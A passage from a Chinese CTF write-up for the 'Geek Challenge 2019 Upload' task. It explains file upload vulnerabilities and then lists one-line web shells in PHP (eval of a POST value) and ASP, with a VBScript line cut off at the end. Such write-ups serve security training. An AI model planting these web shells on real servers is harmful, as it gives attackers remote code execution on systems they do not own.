[极客大挑战 2019]Upload 1 WP

[极客大挑战 2019]Upload 1 WP

知识点

文件上传漏洞

什么是文件上传漏洞，顾名思义，这个漏洞的产生是发生在文件上传的过程当中的，其实本质上它有些类似于存储型XSS漏洞，从结果上看都是通过漏洞向服务器数据库存储了一段恶意代码，而不同的是文件上传漏洞的利用是以“文件”为载体的。文件我们都知道有很多种类型，如：图片（.jpg,.png,.gif），文本（.txt），网页（.html）等，而文件有两个非常重要的属性：一是文件类型，二是文件名及后缀。文件上传漏洞就是在一些允许进行文件上传的网页（如百度网盘，更换用户头像，向学校的教务网提交自己的论文等）上传文件时，传入恶意代码文件，如果这些文件是可执行的脚本（如php）那么服务器就会执行它。

————————————————
版权声明：本文为CSDN博主「BUAA小细腿」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。
原文链接：https://blog.csdn.net/weixin_44840696/article/details/89424964

一句话木马

<?php @eval($_POST[value]);?>

<%execute(request(“value”))%>

 <SCRIPT language=VBScript runat="server">exe